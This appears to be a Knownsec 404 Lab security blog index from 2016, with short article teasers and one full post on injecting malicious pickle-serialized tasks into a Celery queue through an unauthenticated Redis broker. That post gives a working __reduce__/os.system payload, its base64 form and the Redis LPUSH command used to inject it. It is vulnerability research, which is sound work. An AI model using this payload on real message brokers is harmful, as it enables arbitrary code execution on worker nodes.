-
明枪易躲暗箭难防 – JSONView 0day
作者:Evi1m0 # 知道创宇404安全实验室
时间:2016-04-28
0x01 JSONView 介绍
- Github: https://github.com/gildas-lormeau/JSONView-for-Chrome
- ChromeStore: https://chrome.google.com/w.....bnpoihckbnefhakgolnmc?hl=en-US
JSONView 插件是目前最热门的一款开发者工具插件,它是查看json数据的神器。通常来讲,json 数据一般没有经过格式化或经过了 unicode 编码,没有缩进,没有换行等,给开发者阅读造成了一定困难。而jsonview 插件可以自动对 json 数据转码,缩进,格式化,直接显示出格式化后的数据,使得开发人员可以更好的阅读信息,本文中出现问题的版本为 Chrome 浏览器下的 JSONView 插件,Firefox 下版本不受影响。
没有评论 -
定时炸弹 – MQ 代理中危险的序列化数据
Author: RickGray (知道创宇404安全实验室)
Date: 2016-04-08
分布式应用中消息队列使用特别广泛,而针对分布式集群的攻击常常是点到面的扩散,突破关键点从而控制整个集群。在使用消息队列传递消息时,不安全的数据序列化方式便为整体系统埋下了一颗定时炸弹,一旦消息代理中间件被攻破就会导致整个工作节点沦陷。
(本文只对可行思路进行阐述,如有不恰当之处,还望指出)
一、消息队列与数据序列化
1. 消息队列代理
在一个分布式系统中,消息队列(MQ)是必不可少的,任务下发到消息队列代理中,工作节点从队列中取出相应的任务进行处理,以图的形式展现出来是这个样子的:
任务通过 Master 下发到消息队列代理中,Workers 从队列中取出任务然后进行解析和处理,按照配置对执行结果进行返回。下面以 Python 中的分布式任务调度框架 Celery 来进行代码说明,其中使用了 Redis 作为消息队列代理:
12345678from celery import Celeryapp = Celery('demo',broker='redis://:@192.168.199.149:6379/0',backend='redis://:@192.168.199.149:6379/0')@app.taskdef add(x, y):return x + y在本地起一个 Worker 用以执行注册好的 add 方法:
1(env)➜ demo celery worker -A demo.app -l INFO然后起一个 Python 交互式终端下发任务并获取执行结果:
12345678(env)➜ ipython --no-bannerIn [1]: from demo import addIn [2]: print add.delay(1, 2).get()21In [3]:借助消息队列这种方式很容易把一个单机的系统改造成一个分布式的集群系统。
2. 数据序列化
任务的传递肯定是具有一定结构的数据,而这些数据的结构化处理就要进行序列化操作了。不同语言有不同的数据序列化方式,当然也有着具有兼容性的序列化方式(比如:JSON),下面针对序列化数据存储的形式列举了常见的一些数据序列化方式:
- Binary
- JSON
- XML (SOAP)
二进制序列化常是每种语言内置实现的一套针对自身语言特性的对象序列化处理方式,通过二进制序列化数据通常能够轻易的在不同的应用和系统中传递实时的实例化对象数据,包括了类实例、成员变量、类方法等。
JSON 形式的序列化通常只能传递基础的数据结构,比如数值、字符串、列表、字典等等,不支持某些自定义类实例的传递。XML 形式的序列化也依赖于特定的语言实现。
二、危险的序列化方式
说了那么多,最终还是回到了序列化方式上,二进制方式的序列化是最全的也是最危险的一种序列化方式,许多语言的二进制序列化方式都存在着一些安全风险(如:Python, C#, Java)。
在分布式系统中使用二进制序列化数据进行任务信息传递,极大地提升了整个系统的危险系数,犹如一枚炸弹放在那里,不知道什么时候就 "爆炸" 致使整个系统沦陷掉。
下面还是以 Python 的 Celery 分布式任务调度框架来说明该问题。
123456from celery import Celeryapp = Celery('demo', broker='redis://:@192.168.199.149:6379/0')@app.taskdef add(x, y):return x + y(这里是用 Redis 作为消息队列代理,为了方便未开启验证)
首先不起 Worker 节点,直接添加一个 add 任务到队列中,看看下发的任务是如何存储的:
可以看到在 Redis 中存在两个键 celery 和 _kombu.binding.celery , _kombu.binding.celery 表示有一名为 celery 的任务队列(Celery 默认),而 celery 为默认队列中的任务列表,可以看看添加进去的任务数据:
123127.0.0.1:6379> LINDEX celery 0"{\"body\": \"gAJ9cQEoVQdleHBpcmVzcQJOVQN1dGNxA4hVBGFyZ3NxBEsBSxaGcQVVBWNob3JkcQZOVQljYWxsYmFja3NxB05VCGVycmJhY2tzcQhOVQd0YXNrc2V0cQlOVQJpZHEKVSQ3M2I5Y2FmZS0xYzhkLTRmZjYtYjdhOC00OWI2MGJmZjE0ZmZxC1UHcmV0cmllc3EMSwBVBHRhc2txDVUIZGVtby5hZGRxDlUJdGltZWxpbWl0cQ9OToZVA2V0YXEQTlUGa3dhcmdzcRF9cRJ1Lg==\", \"headers\": {}, \"content-type\": \"application/x-python-serialize\", \"properties\": {\"body_encoding\": \"base64\", \"correlation_id\": \"73b9cafe-1c8d-4ff6-b7a8-49b60bff14ff\", \"reply_to\": \"b6c304bb-45e5-3b27-95dc-29335cbce9f1\", \"delivery_info\": {\"priority\": 0, \"routing_key\": \"celery\", \"exchange\": \"celery\"}, \"delivery_mode\": 2, \"delivery_tag\": \"0ad4f731-e5d3-427c-a6d6-d0fe48ff2b09\"}, \"content-encoding\": \"binary\"}"127.0.0.1:6379>为了方便分析,把上面的数据整理一下:
123456789101112131415161718{'body': 'gAJ9cQEoVQdleHBpcmVzcQJOVQN1dGNxA4hVBGFyZ3NxBEsBSxaGcQVVBWNob3JkcQZOVQljYWxsYmFja3NxB05VCGVycmJhY2tzcQhOVQd0YXNrc2V0cQlOVQJpZHEKVSQ3M2I5Y2FmZS0xYzhkLTRmZjYtYjdhOC00OWI2MGJmZjE0ZmZxC1UHcmV0cmllc3EMSwBVBHRhc2txDVUIZGVtby5hZGRxDlUJdGltZWxpbWl0cQ9OToZVA2V0YXEQTlUGa3dhcmdzcRF9cRJ1Lg==','content-encoding': 'binary','content-type': 'application/x-python-serialize','headers': {},'properties': {'body_encoding': 'base64','correlation_id': '73b9cafe-1c8d-4ff6-b7a8-49b60bff14ff','delivery_info': {'exchange': 'celery','priority': 0,'routing_key': 'celery'},'delivery_mode': 2,'delivery_tag': '0ad4f731-e5d3-427c-a6d6-d0fe48ff2b09','reply_to': 'b6c304bb-45e5-3b27-95dc-29335cbce9f1'}}body 存储的经过序列化和编码后的数据,是具体的任务参数,其中包括了需要执行的方法、参数和一些任务基本信息,而 properties['body_encoding'] 指明的是 body 的编码方式,在 Worker 取到该消息时会使用其中的编码进行解码得到序列化后的任务数据 body.decode('base64') ,而 content-type 指明了任务数据的序列化方式,这里在不明确指定的情况下 Celery 会使用 Python 内置的序列化实现模块 pickle 来进行序列化操作。
这里将 body 的内容提取出来,先使用 base64 解码再使用 pickle 进行反序列化来看看具体的任务信息:
1234567891011121314151617In [6]: pickle.loads('gAJ9cQEoVQdleHBpcmVzcQJOVQN1dGNxA4hVBGFyZ3NxBEsBSxaGcQVVBWNob3JkcQZOVQljYWxsYmFja3NxB05VCGVycmJhY2tzcQhOVQd0YXNrc2V0cQlOVQJpZHEKVSQ3M2I5Y2FmZS0xYzhkLTRmZjYtYjdhOC00OWI2MGJmZjE0ZmZxC1UHcmV0cmllc3EMSwBVBHRhc2txDVUIZGVtby5hZGRxDlUJdGltZWxpbWl0cQ9OToZVA2V0YXEQTlUGa3dhcmdzcRF9cRJ1Lg=='.decode('base64'))Out[6]:{'args': (1, 22),'callbacks': None,'chord': None,'errbacks': None,'eta': None,'expires': None,'id': '73b9cafe-1c8d-4ff6-b7a8-49b60bff14ff','kwargs': {},'retries': 0,'task': 'demo.add','taskset': None,'timelimit': (None, None),'utc': True}In [7]:熟悉 Celery 的人一眼就知道上面的这些参数信息都是在下发任务时进行指定的:
12345id => 任务的唯一IDtask => 需要执行的任务args => 调用参数callback => 任务完成后的回调...这里详细任务参数就不进行说明了,刚刚说到了消息队列代理中存储的任务信息是用 Python 内置的 pickle 模块进行序列化的,那么如果我恶意插入一个假任务,其中包含了恶意构造的序列化数据,在 Worker 端取到任务后对信息进行反序列化的时候是不是就能够执行任意代码了呢?下面就来验证这个观点(对 Python 序列化攻击不熟悉的可以参考下这篇文章《Exploiting Misuse of Python's "Pickle"》
刚刚测试和分析已经得知往 celery 队列中下发的任务, body 最终会被 Worker 端进行解码和解析,并在该例子中 body 的数据形态为 pickle.dumps(TASK).encode('base64') ,所以这里可以不用管 pickle.dumps(TASK) 的具体数据,直接将恶意的序列化数据经过 base64 编码后替换掉原来的数据,这里使用的 Payload 为:
1234567import pickleclass Touch(object):def __reduce__(self):import osreturn (os.system, ('touch /tmp/evilTask', ))print pickle.dumps(Touch()).encode('base64')运行一下得到具体的 Payload 值:
12(env)➜ demo python touch.pyY3Bvc2l4CnN5c3RlbQpwMAooUyd0b3VjaCAvdG1wL2V2aWxUYXNrJwpwMQp0cDIKUnAzCi4=将其替换原来的 body 值得到:
123456789101112131415161718{'body': 'Y3Bvc2l4CnN5c3RlbQpwMAooUyd0b3VjaCAvdG1wL2V2aWxUYXNrJwpwMQp0cDIKUnAzCi4=','content-encoding': 'binary','content-type': 'application/x-python-serialize','headers': {},'properties': {'body_encoding': 'base64','correlation_id': '73b9cafe-1c8d-4ff6-b7a8-49b60bff14ff','delivery_info': {'exchange': 'celery','priority': 0,'routing_key': 'celery'},'delivery_mode': 2,'delivery_tag': '0ad4f731-e5d3-427c-a6d6-d0fe48ff2b09','reply_to': 'b6c304bb-45e5-3b27-95dc-29335cbce9f1'}}转换为字符串:
1"{\"body\": \"Y3Bvc2l4CnN5c3RlbQpwMAooUyd0b3VjaCAvdG1wL2V2aWxUYXNrJwpwMQp0cDIKUnAzCi4=\", \"headers\": {}, \"content-type\": \"application/x-python-serialize\", \"properties\": {\"body_encoding\": \"base64\", \"delivery_info\": {\"priority\": 0, \"routing_key\": \"celery\", \"exchange\": \"celery\"}, \"delivery_mode\": 2, \"correlation_id\": \"73b9cafe-1c8d-4ff6-b7a8-49b60bff14ff\", \"reply_to\": \"b6c304bb-45e5-3b27-95dc-29335cbce9f1\", \"delivery_tag\": \"0ad4f731-e5d3-427c-a6d6-d0fe48ff2b09\"}, \"content-encoding\": \"binary\"}"然后将该信息直接添加到 Redis 的 队列名为 celery 的任务列表中(注意转义):
1127.0.0.1:6379> LPUSH celery "{\"body\": \"Y3Bvc2l4CnN5c3RlbQpwMAooUyd0b3VjaCAvdG1wL2V2aWxUYXNrJwpwMQp0cDIKUnAzCi4=\", \"headers\": {}, \"content-type\": \"application/x-python-serialize\", \"properties\": {\"body_encoding\": \"base64\", \"delivery_info\": {\"priority\": 0, \"routing_key\": \"celery\", \"exchange\": \"celery\"}, \"delivery_mode\": 2, \"correlation_id\": \"73b9cafe-1c8d-4ff6-b7a8-49b60bff14ff\", \"reply_to\": \"b6c304bb-45e5-3b27-95dc-29335cbce9f1\", \"delivery_tag\": \"0ad4f731-e5d3-427c-a6d6-d0fe48ff2b09\"}, \"content-encoding\": \"binary\"}"这时候再起一个默认队列的 Worker 节点,Worker 从 MQ 中取出任务信息并解析我们的恶意数据,如果成功执行了会在 Worker 节点创建文件 /tmp/evilTask :
攻击流程就应该为:
攻击者控制了 MQ 服务器,并且在任务数据传输上使用了危险的序列化方式,致使攻击者能够往队列中注入恶意构造的任务,Worker 节点在解析和执行 fakeTask 时发生异常或直接被攻击者控制。
三、脆弱的消息队列代理
虽然大多数集群消息队列代理都处在内网环境,但并不排除其在公网上暴露可能性,历史上已经多次出现过消息队列代理未授权访问的问题(默认配置),像之前的 MongoDB 和 Redis 默认配置下的未授权访问漏洞,都已经被大量的曝光和挖掘过了,但是这些受影响的目标中又有多少是作为消息队列代理使用的呢,恐怕当时并没有太多人注意到这个问题。
鉴于一些安全问题,并未对暴露在互联网上的 Redis 和 MongdoDB 进行扫描检测。
这里总结一下利用 MQ 序列化数据注入的几个关键点:
- 使用了危险序列化方式进行消息传输的消息队列代理;
- 工作集群会从 MQ 中取出消息并对其反序列化解析;
- 消息队列代理能够被攻击和控制;
虽然成功利用本文思路进行攻击的条件比较苛刻,但是互联网那么大没有什么是不可能的。我相信在不久之后必定会出现真实案例来证实本文所讲的内容。(在本文完成时,发现 2013 年国外已经有了这样的案例,链接附后)
四、总结
数据注入是一种常用的攻击手法,如何去老手法玩出新思路还是需要积累的。文章示例代码虽然只给出了 Python Pickle + Celery 这个组合的利用思路,但并不局限于此。开发语言和中间件那么多,组合也更多,好玩的东西需要一起去发掘。
参考
-
PyYAML 对象类型解析导致的命令执行问题
Author: RickGray (知道创宇404安全实验室)
Date: 2016-03-09
近日回顾了 PyCon 2015 上 @Tom Eastman 所讲的关于 Python 序列化格式的安全议题 -《Serialization formats are not toys》。议题主要介绍了 YAML、XML 和 JSON 三种格式用于 Python 序列化数据处理所存在的一些安全问题,其中 XML 部分讲解的是 Python 中的 XXE,而 Python 处理 JSON 数据本身不存在问题,但在前端 JavaScript 对返回 JSON 进行处理时常常直接使用 eval() 来转换类型从而留下安全隐患。
关于 XML 和 JSON 格式相关的安全问题本文就不多提了,本文仅记录下议题中所提到的 Python PyYAML 模块在处理 YAML 格式数据时所存在的问题。
-
Java 反序列化之 CommonsBeanUtils 分析
Author: rungobier (知道创宇404安全实验室)
Date: 2016-03-04
一、简介
前几天看到 github 上的 ysoserial 更新至0.0.4,增加了 CommonsBeanUtils 的Java反序列化 Payload 生成代码,原以为跟前面的 CommonsCollections 的原理一样,仔细看了一遍思路大不相同。CommonsBeanutilsCollectionsLogging1 主要依赖的 jar 包有:commons-collections(2.0-3.2.2), commons-beanutils-1.9.2, commons-loggings-1.2。
-
安卓微信、QQ自带浏览器 UXSS 漏洞
注:PDF报告原文下载链接
Author: hei@knownsec.com
Date: 2016-02-29
一、漏洞描述
在安卓平台上的微信及QQ自带浏览器均使用的QQ浏览器X5内核,在处理ip及域名hostnames存在逻辑缺陷,从而绕过浏览器策略导致UXSS漏洞。
二、PoC代码及简单分析
-
Linux Glibc 函数库漏洞分析(CVE-2015-7547)
Author: 知道创宇404安全实验室
1. 更新情况
- 2016-02-17 下午 第一版完成
- 2016-02-18 上午 第二版完成
- 2016-02-22 下午 第三版完成
2. 漏洞概要
Glibc是GNU发布的LIBC库的C运行库,Glibc是Linux系统中最底层的API,基本其它任何运行库都会依赖于Glibc。Glibc除了封装Linux操作系统所提供的系统服务外,还提供了其它的必要服务的实现。由于 Glibc 几乎包含所有的 UNIX 通行的标准,可以说是操作系统重要支撑库。
-
利用 Python 特性在 Jinja2 模板中执行任意代码
Author: RickGray (404安全实验室)
Date: 2016-02-16
本文源于老外 @nvisium 在其博客发表的博文 《Injecting Flask》,在原文中作者讲解了 Python 模板引擎 Jinja2 在服务端模板注入 (SSTI) 中的具体利用方法,在能够控制模板内容时利用环境变量中已注册的用户自定义函数进行恶意调用或利用渲染进行 XSS 等。
对于 Jinja2 模板引擎是否能够在 SSTI 的情况下直接执行命令原文并没有做出说明,并且在 Jinja2 官方文档中也有说明,模板中并不能够直接执行任意 Python 代码,这样看来在 Jinja2 中直接控制模板内容来执行 Python 代码或者命令似乎不太可能。
一、模板中复杂的代码执行方式
-
VxWorks Fuzzing 之道:VxWorks工控实时操作系统漏洞挖掘调试与利用揭秘
Author:知道创宇404安全实验室
一、前言
关于VxWorks,这里引用44CON议题《攻击 VxWorks:从石器时代到星际》探究 一文章中的介绍:
VxWorks 是世界上使用最广泛的一种在嵌入式系统中部署的实时操作系统,是由美国WindRiver公司(简称风河公司,即WRS 公司)于1983年设计开发的。其市场范围跨越所有的安全关键领域,仅举几例,包括火星好奇心流浪者、波音787梦幻客机、网络路由器。这些应用程序的安全高危性质使得VxWorks的安全被高度关注。
VxWorks操作系统是由美国Wind River(风河公司)开发的一种嵌入式实时操作系统(RTOS),已宣称拥有至少15亿台设备,VxWorks支持几乎所有现代市场上的嵌入式CPU架构,包括x86系列、MIPS、 PowerPC、Freescale ColdFire、Intel i960、SPARC、SH-4、ARM, StrongARM以及xScale CPU。
在2015年9月9日-11日举办的44CON伦敦峰会中,Yannick Formaggio介绍了他对VxWorks进行深入安全研究的方法,他采用了Fuzzing框架Sulley对VxWorks系统的多个协议进行了Fuzzing,挖掘到一些漏洞,并结合VxWorks的WDB RPC实现了一个远程调试器,进行了相关调试分析。
其中很多实现及漏洞细节没有公开,我们搭建了VxWorks 5.5及VxWorks 6.6的x86虚拟环境,参照Formaggio的方法,对VxWorks进行了初步的安全研究,本文将对相关研究细节及结果进行介绍。 Read More »
-
Discuz 20150609 版本存储 XSS 漏洞修复绕过报告
Author: RickGray (知道创宇404安全实验室)
Date: 2015-12-09
之前(2015-03-07)乌云上报了《Discuz全版本存储型DOM XSS(可打管理员)附Discuz官方开发4大坑&验证脚本》,但是在 Discuz版本(2015-06-09)的修复中却因为修复不全导致漏洞仍然可以触发。
一、原理分析
Discuz 在用户评论处设置了帖子管理员编辑评论的功能,由于前端 JS 代码处理不当导致了经过恶意构造的评论内容在经过交互后形成 XSS 。下面通过 payload 的调试过程来解释该漏洞的形成过程。
-
从反序列化到命令执行 – Java 中的 POP 执行链
Author: RickGray (知道创宇404安全实验室)
Date: 2015-11-25
一、什么是序列化
序列化常用于将程序运行时的对象状态以二进制的形式存储于文件系统中,然后可以在另一个程序中对序列化后的对象状态数据进行反序列化恢复对象。简单的说就是可以基于序列化数据实时在两个程序中传递程序对象。
1. Java 序列化示例